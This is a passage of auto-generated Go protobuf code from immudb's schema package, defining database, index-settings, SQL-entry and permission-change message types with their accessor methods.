} func (x *IndexNullableSettings) Reset() { *x = IndexNullableSettings{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[84] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *IndexNullableSettings) String() string { return protoimpl.X.MessageStringOf(x) } func (*IndexNullableSettings) ProtoMessage() {} func (x *IndexNullableSettings) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[84] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use IndexNullableSettings.ProtoReflect.Descriptor instead. func (*IndexNullableSettings) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{84} } func (x *IndexNullableSettings) GetFlushThreshold() *NullableUint32 { if x != nil { return x.FlushThreshold } return nil } func (x *IndexNullableSettings) GetSyncThreshold() *NullableUint32 { if x != nil { return x.SyncThreshold } return nil } func (x *IndexNullableSettings) GetCacheSize() *NullableUint32 { if x != nil { return x.CacheSize } return nil } func (x *IndexNullableSettings) GetMaxNodeSize() *NullableUint32 { if x != nil { return x.MaxNodeSize } return nil } func (x *IndexNullableSettings) GetMaxActiveSnapshots() *NullableUint32 { if x != nil { return x.MaxActiveSnapshots } return nil } func (x *IndexNullableSettings) GetRenewSnapRootAfter() *NullableUint64 { if x != nil { return x.RenewSnapRootAfter } return nil } func (x *IndexNullableSettings) GetCompactionThld() *NullableUint32 { if x != nil { return x.CompactionThld } return nil } func (x *IndexNullableSettings) GetDelayDuringCompaction() *NullableUint32 { if x != nil { return x.DelayDuringCompaction } return nil } func (x *IndexNullableSettings) GetNodesLogMaxOpenedFiles() *NullableUint32 { if x != nil { return x.NodesLogMaxOpenedFiles } return nil } func (x *IndexNullableSettings) GetHistoryLogMaxOpenedFiles() *NullableUint32 { if x != nil { return x.HistoryLogMaxOpenedFiles } return nil } func (x *IndexNullableSettings) GetCommitLogMaxOpenedFiles() *NullableUint32 { if x != nil { return x.CommitLogMaxOpenedFiles } return nil } func (x *IndexNullableSettings) GetFlushBufferSize() *NullableUint32 { if x != nil { return x.FlushBufferSize } return nil } func (x *IndexNullableSettings) GetCleanupPercentage() *NullableFloat { if x != nil { return x.CleanupPercentage } return nil } func (x *IndexNullableSettings) GetMaxBulkSize() *NullableUint32 { if x != nil { return x.MaxBulkSize } return nil } func (x *IndexNullableSettings) GetBulkPreparationTimeout() *NullableMilliseconds { if x != nil { return x.BulkPreparationTimeout } return nil } type AHTNullableSettings struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Number of new leaves in the tree between synchronous flush to disk SyncThreshold *NullableUint32 `protobuf:"bytes,1,opt,name=syncThreshold,proto3" json:"syncThreshold,omitempty"` // Size of the in-memory write buffer WriteBufferSize *NullableUint32 `protobuf:"bytes,2,opt,name=writeBufferSize,proto3" json:"writeBufferSize,omitempty"` } func (x *AHTNullableSettings) Reset() { *x = AHTNullableSettings{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[85] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *AHTNullableSettings) String() string { return protoimpl.X.MessageStringOf(x) } func (*AHTNullableSettings) ProtoMessage() {} func (x *AHTNullableSettings) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[85] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use AHTNullableSettings.ProtoReflect.Descriptor instead. func (*AHTNullableSettings) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{85} } func (x *AHTNullableSettings) GetSyncThreshold() *NullableUint32 { if x != nil { return x.SyncThreshold } return nil } func (x *AHTNullableSettings) GetWriteBufferSize() *NullableUint32 { if x != nil { return x.WriteBufferSize } return nil } type LoadDatabaseRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields Database string `protobuf:"bytes,1,opt,name=database,proto3" json:"database,omitempty"` // may add createIfNotExist } func (x *LoadDatabaseRequest) Reset() { *x = LoadDatabaseRequest{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[86] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *LoadDatabaseRequest) String() string { return protoimpl.X.MessageStringOf(x) } func (*LoadDatabaseRequest) ProtoMessage() {} func (x *LoadDatabaseRequest) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[86] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use LoadDatabaseRequest.ProtoReflect.Descriptor instead. func (*LoadDatabaseRequest) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{86} } func (x *LoadDatabaseRequest) GetDatabase() string { if x != nil { return x.Database } return "" } type LoadDatabaseResponse struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Database name Database string `protobuf:"bytes,1,opt,name=database,proto3" json:"database,omitempty"` // may add settings } func (x *LoadDatabaseResponse) Reset() { *x = LoadDatabaseResponse{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[87] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *LoadDatabaseResponse) String() string { return protoimpl.X.MessageStringOf(x) } func (*LoadDatabaseResponse) ProtoMessage() {} func (x *LoadDatabaseResponse) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[87] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use LoadDatabaseResponse.ProtoReflect.Descriptor instead. func (*LoadDatabaseResponse) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{87} } func (x *LoadDatabaseResponse) GetDatabase() string { if x != nil { return x.Database } return "" } type UnloadDatabaseRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Database name Database string `protobuf:"bytes,1,opt,name=database,proto3" json:"database,omitempty"` } func (x *UnloadDatabaseRequest) Reset() { *x = UnloadDatabaseRequest{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[88] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *UnloadDatabaseRequest) String() string { return protoimpl.X.MessageStringOf(x) } func (*UnloadDatabaseRequest) ProtoMessage() {} func (x *UnloadDatabaseRequest) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[88] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use UnloadDatabaseRequest.ProtoReflect.Descriptor instead. func (*UnloadDatabaseRequest) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{88} } func (x *UnloadDatabaseRequest) GetDatabase() string { if x != nil { return x.Database } return "" } type UnloadDatabaseResponse struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Database name Database string `protobuf:"bytes,1,opt,name=database,proto3" json:"database,omitempty"` } func (x *UnloadDatabaseResponse) Reset() { *x = UnloadDatabaseResponse{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[89] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *UnloadDatabaseResponse) String() string { return protoimpl.X.MessageStringOf(x) } func (*UnloadDatabaseResponse) ProtoMessage() {} func (x *UnloadDatabaseResponse) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[89] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use UnloadDatabaseResponse.ProtoReflect.Descriptor instead. func (*UnloadDatabaseResponse) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{89} } func (x *UnloadDatabaseResponse) GetDatabase() string { if x != nil { return x.Database } return "" } type DeleteDatabaseRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Database name Database string `protobuf:"bytes,1,opt,name=database,proto3" json:"database,omitempty"` } func (x *DeleteDatabaseRequest) Reset() { *x = DeleteDatabaseRequest{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[90] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *DeleteDatabaseRequest) String() string { return protoimpl.X.MessageStringOf(x) } func (*DeleteDatabaseRequest) ProtoMessage() {} func (x *DeleteDatabaseRequest) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[90] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use DeleteDatabaseRequest.ProtoReflect.Descriptor instead. func (*DeleteDatabaseRequest) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{90} } func (x *DeleteDatabaseRequest) GetDatabase() string { if x != nil { return x.Database } return "" } type DeleteDatabaseResponse struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Database name Database string `protobuf:"bytes,1,opt,name=database,proto3" json:"database,omitempty"` } func (x *DeleteDatabaseResponse) Reset() { *x = DeleteDatabaseResponse{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[91] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *DeleteDatabaseResponse) String() string { return protoimpl.X.MessageStringOf(x) } func (*DeleteDatabaseResponse) ProtoMessage() {} func (x *DeleteDatabaseResponse) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[91] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use DeleteDatabaseResponse.ProtoReflect.Descriptor instead. func (*DeleteDatabaseResponse) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{91} } func (x *DeleteDatabaseResponse) GetDatabase() string { if x != nil { return x.Database } return "" } type FlushIndexRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Percentage of nodes file to cleanup during flush CleanupPercentage float32 `protobuf:"fixed32,1,opt,name=cleanupPercentage,proto3" json:"cleanupPercentage,omitempty"` // If true, do a full disk sync after the flush Synced bool `protobuf:"varint,2,opt,name=synced,proto3" json:"synced,omitempty"` } func (x *FlushIndexRequest) Reset() { *x = FlushIndexRequest{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[92] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *FlushIndexRequest) String() string { return protoimpl.X.MessageStringOf(x) } func (*FlushIndexRequest) ProtoMessage() {} func (x *FlushIndexRequest) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[92] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use FlushIndexRequest.ProtoReflect.Descriptor instead. func (*FlushIndexRequest) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{92} } func (x *FlushIndexRequest) GetCleanupPercentage() float32 { if x != nil { return x.CleanupPercentage } return 0 } func (x *FlushIndexRequest) GetSynced() bool { if x != nil { return x.Synced } return false } type FlushIndexResponse struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Database name Database string `protobuf:"bytes,1,opt,name=database,proto3" json:"database,omitempty"` } func (x *FlushIndexResponse) Reset() { *x = FlushIndexResponse{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[93] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *FlushIndexResponse) String() string { return protoimpl.X.MessageStringOf(x) } func (*FlushIndexResponse) ProtoMessage() {} func (x *FlushIndexResponse) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[93] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use FlushIndexResponse.ProtoReflect.Descriptor instead. func (*FlushIndexResponse) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{93} } func (x *FlushIndexResponse) GetDatabase() string { if x != nil { return x.Database } return "" } type Table struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Table name TableName string `protobuf:"bytes,1,opt,name=tableName,proto3" json:"tableName,omitempty"` } func (x *Table) Reset() { *x = Table{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[94] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *Table) String() string { return protoimpl.X.MessageStringOf(x) } func (*Table) ProtoMessage() {} func (x *Table) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[94] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use Table.ProtoReflect.Descriptor instead. func (*Table) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{94} } func (x *Table) GetTableName() string { if x != nil { return x.TableName } return "" } type SQLGetRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Table name Table string `protobuf:"bytes,1,opt,name=table,proto3" json:"table,omitempty"` // Values of the primary key PkValues []*SQLValue `protobuf:"bytes,2,rep,name=pkValues,proto3" json:"pkValues,omitempty"` // Id of the transaction at which the row was added / modified AtTx uint64 `protobuf:"varint,3,opt,name=atTx,proto3" json:"atTx,omitempty"` // If > 0, do not wait for the indexer to index all entries, only require entries up to sinceTx to be indexed SinceTx uint64 `protobuf:"varint,4,opt,name=sinceTx,proto3" json:"sinceTx,omitempty"` } func (x *SQLGetRequest) Reset() { *x = SQLGetRequest{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[95] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *SQLGetRequest) String() string { return protoimpl.X.MessageStringOf(x) } func (*SQLGetRequest) ProtoMessage() {} func (x *SQLGetRequest) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[95] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use SQLGetRequest.ProtoReflect.Descriptor instead. func (*SQLGetRequest) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{95} } func (x *SQLGetRequest) GetTable() string { if x != nil { return x.Table } return "" } func (x *SQLGetRequest) GetPkValues() []*SQLValue { if x != nil { return x.PkValues } return nil } func (x *SQLGetRequest) GetAtTx() uint64 { if x != nil { return x.AtTx } return 0 } func (x *SQLGetRequest) GetSinceTx() uint64 { if x != nil { return x.SinceTx } return 0 } type VerifiableSQLGetRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Data of row to query SqlGetRequest *SQLGetRequest `protobuf:"bytes,1,opt,name=sqlGetRequest,proto3" json:"sqlGetRequest,omitempty"` // When generating the proof, generate consistency proof with state from this transaction ProveSinceTx uint64 `protobuf:"varint,2,opt,name=proveSinceTx,proto3" json:"proveSinceTx,omitempty"` } func (x *VerifiableSQLGetRequest) Reset() { *x = VerifiableSQLGetRequest{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[96] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *VerifiableSQLGetRequest) String() string { return protoimpl.X.MessageStringOf(x) } func (*VerifiableSQLGetRequest) ProtoMessage() {} func (x *VerifiableSQLGetRequest) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[96] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use VerifiableSQLGetRequest.ProtoReflect.Descriptor instead. func (*VerifiableSQLGetRequest) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{96} } func (x *VerifiableSQLGetRequest) GetSqlGetRequest() *SQLGetRequest { if x != nil { return x.SqlGetRequest } return nil } func (x *VerifiableSQLGetRequest) GetProveSinceTx() uint64 { if x != nil { return x.ProveSinceTx } return 0 } type SQLEntry struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Id of the transaction when the row was added / modified Tx uint64 `protobuf:"varint,1,opt,name=tx,proto3" json:"tx,omitempty"` // Raw key of the row Key []byte `protobuf:"bytes,2,opt,name=key,proto3" json:"key,omitempty"` // Raw value of the row Value []byte `protobuf:"bytes,3,opt,name=value,proto3" json:"value,omitempty"` // Metadata of the raw value Metadata *KVMetadata `protobuf:"bytes,4,opt,name=metadata,proto3" json:"metadata,omitempty"` } func (x *SQLEntry) Reset() { *x = SQLEntry{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[97] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *SQLEntry) String() string { return protoimpl.X.MessageStringOf(x) } func (*SQLEntry) ProtoMessage() {} func (x *SQLEntry) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[97] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use SQLEntry.ProtoReflect.Descriptor instead. func (*SQLEntry) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{97} } func (x *SQLEntry) GetTx() uint64 { if x != nil { return x.Tx } return 0 } func (x *SQLEntry) GetKey() []byte { if x != nil { return x.Key } return nil } func (x *SQLEntry) GetValue() []byte { if x != nil { return x.Value } return nil } func (x *SQLEntry) GetMetadata() *KVMetadata { if x != nil { return x.Metadata } return nil } type VerifiableSQLEntry struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Raw row entry data SqlEntry *SQLEntry `protobuf:"bytes,1,opt,name=sqlEntry,proto3" json:"sqlEntry,omitempty"` // Verifiable transaction of the row VerifiableTx *VerifiableTx `protobuf:"bytes,2,opt,name=verifiableTx,proto3" json:"verifiableTx,omitempty"` // Inclusion proof of the row in the transaction InclusionProof *InclusionProof `protobuf:"bytes,3,opt,name=inclusionProof,proto3" json:"inclusionProof,omitempty"` // Internal ID of the database (used to validate raw entry values) DatabaseId uint32 `protobuf:"varint,4,opt,name=DatabaseId,proto3" json:"DatabaseId,omitempty"` // Internal ID of the table (used to validate raw entry values) TableId uint32 `protobuf:"varint,5,opt,name=TableId,proto3" json:"TableId,omitempty"` // Internal IDs of columns for the primary key (used to validate raw entry values) PKIDs []uint32 `protobuf:"varint,16,rep,packed,name=PKIDs,proto3" json:"PKIDs,omitempty"` // Mapping of used column IDs to their names ColNamesById map[uint32]string `protobuf:"bytes,8,rep,name=ColNamesById,proto3" json:"ColNamesById,omitempty" protobuf_key:"varint,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"` // Mapping of column names to their IDS ColIdsByName map[string]uint32 `protobuf:"bytes,9,rep,name=ColIdsByName,proto3" json:"ColIdsByName,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"varint,2,opt,name=value,proto3"` // Mapping of column IDs to their types ColTypesById map[uint32]string `protobuf:"bytes,10,rep,name=ColTypesById,proto3" json:"ColTypesById,omitempty" protobuf_key:"varint,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"` // Mapping of column IDs to their length constraints ColLenById map[uint32]int32 `protobuf:"bytes,11,rep,name=ColLenById,proto3" json:"ColLenById,omitempty" protobuf_key:"varint,1,opt,name=key,proto3" protobuf_val:"varint,2,opt,name=value,proto3"` // Variable is used to assign unique ids to new columns as they are created MaxColId uint32 `protobuf:"varint,12,opt,name=MaxColId,proto3" json:"MaxColId,omitempty"` } func (x *VerifiableSQLEntry) Reset() { *x = VerifiableSQLEntry{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[98] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *VerifiableSQLEntry) String() string { return protoimpl.X.MessageStringOf(x) } func (*VerifiableSQLEntry) ProtoMessage() {} func (x *VerifiableSQLEntry) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[98] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use VerifiableSQLEntry.ProtoReflect.Descriptor instead. func (*VerifiableSQLEntry) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{98} } func (x *VerifiableSQLEntry) GetSqlEntry() *SQLEntry { if x != nil { return x.SqlEntry } return nil } func (x *VerifiableSQLEntry) GetVerifiableTx() *VerifiableTx { if x != nil { return x.VerifiableTx } return nil } func (x *VerifiableSQLEntry) GetInclusionProof() *InclusionProof { if x != nil { return x.InclusionProof } return nil } func (x *VerifiableSQLEntry) GetDatabaseId() uint32 { if x != nil { return x.DatabaseId } return 0 } func (x *VerifiableSQLEntry) GetTableId() uint32 { if x != nil { return x.TableId } return 0 } func (x *VerifiableSQLEntry) GetPKIDs() []uint32 { if x != nil { return x.PKIDs } return nil } func (x *VerifiableSQLEntry) GetColNamesById() map[uint32]string { if x != nil { return x.ColNamesById } return nil } func (x *VerifiableSQLEntry) GetColIdsByName() map[string]uint32 { if x != nil { return x.ColIdsByName } return nil } func (x *VerifiableSQLEntry) GetColTypesById() map[uint32]string { if x != nil { return x.ColTypesById } return nil } func (x *VerifiableSQLEntry) GetColLenById() map[uint32]int32 { if x != nil { return x.ColLenById } return nil } func (x *VerifiableSQLEntry) GetMaxColId() uint32 { if x != nil { return x.MaxColId } return 0 } type UseDatabaseReply struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Deprecated: database access token Token string `protobuf:"bytes,1,opt,name=token,proto3" json:"token,omitempty"` } func (x *UseDatabaseReply) Reset() { *x = UseDatabaseReply{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[99] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *UseDatabaseReply) String() string { return protoimpl.X.MessageStringOf(x) } func (*UseDatabaseReply) ProtoMessage() {} func (x *UseDatabaseReply) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[99] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use UseDatabaseReply.ProtoReflect.Descriptor instead. func (*UseDatabaseReply) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{99} } func (x *UseDatabaseReply) GetToken() string { if x != nil { return x.Token } return "" } type ChangePermissionRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Action to perform Action PermissionAction `protobuf:"varint,1,opt,name=action,proto3,enum=immudb.schema.PermissionAction" json:"action,omitempty"` // Name of the user to update Username string `protobuf:"bytes,2,opt,name=username,proto3" json:"username,omitempty"` // Name of the database Database string `protobuf:"bytes,3,opt,name=database,proto3" json:"database,omitempty"` // Permission to grant / revoke: 1 - read only, 2 - read/write, 254 - admin Permission uint32 `protobuf:"varint,4,opt,name=permission,proto3" json:"permission,omitempty"` } func (x *ChangePermissionRequest) Reset() { *x = ChangePermissionRequest{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[100] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *ChangePermissionRequest) String() string { return protoimpl.X.MessageStringOf(x) } func (*ChangePermissionRequest) ProtoMessage() {} func (x *ChangePermissionRequest) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[100] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use ChangePermissionRequest.ProtoReflect.Descriptor instead. func (*ChangePermissionRequest) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{100} } func (x *ChangePermissionRequest) GetAction() PermissionAction { if x != nil { return x.Action } return PermissionAction_GRANT } func (x *ChangePermissionRequest) GetUsername() string { if x != nil { return x.Username } return "" } func (x *ChangePermissionRequest) GetDatabase() string { if x != nil { return x.Database } return "" } func (x *ChangePermissionRequest) GetPermission() uint32 { if x != nil { return x.Permission } return 0 } type ChangeSQLPrivilegesRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Action to perform Action PermissionAction `protobuf:"varint,1,opt,name=action,proto3,enum=immudb.schema.PermissionAction" json:"action,omitempty"` // Name of the user to update Username string `protobuf:"bytes,2,opt,name=username,proto3" json:"username,omitempty"` // Name of the database Database string `protobuf:"bytes,3,opt,name=database,proto3" json:"database,omitempty"` // SQL privileges: SELECT, CREATE, INSERT, UPDATE, DELETE, DROP, ALTER Privileges []string `protobuf:"bytes,4,rep,name=privileges,proto3" json:"privileges,omitempty"` } func (x *ChangeSQLPrivilegesRequest) Reset() { *x = ChangeSQLPrivilegesRequest{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[101] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *ChangeSQLPrivilegesRequest) String() string { return protoimpl.X.MessageStringOf(x) } func (*ChangeSQLPrivilegesRequest) ProtoMessage() {} func (x *ChangeSQLPrivilegesRequest) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[101] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use ChangeSQLPrivilegesRequest.ProtoReflect.Descriptor instead. func (*ChangeSQLPrivilegesRequest) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{101} } func (x *ChangeSQLPrivilegesRequest) GetAction() PermissionAction { if x != nil { return x.Action } return PermissionAction_GRANT } func (x *ChangeSQLPrivilegesRequest) GetUsername() string { if x != nil { return x.Username } return "" } func (x *ChangeSQLPrivilegesRequest) GetDatabase() string { if x != nil { return x.Database } return "" } func (x *ChangeSQLPrivilegesRequest) GetPrivileges() []string { if x != nil { return x.Privileges } return nil } type ChangeSQLPrivilegesResponse struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields } func (x *ChangeSQLPrivilegesResponse) Reset() { *x = ChangeSQLPrivilegesResponse{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[102] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *ChangeSQLPrivilegesResponse) String() string { return protoimpl.X.MessageStringOf(x) } func (*ChangeSQLPrivilegesResponse) ProtoMessage() {} func (x *ChangeSQLPrivilegesResponse) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[102] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use ChangeSQLPrivilegesResponse.ProtoReflect.Descriptor instead. func (*ChangeSQLPrivilegesResponse) Descriptor() ([]byte, []int) { return 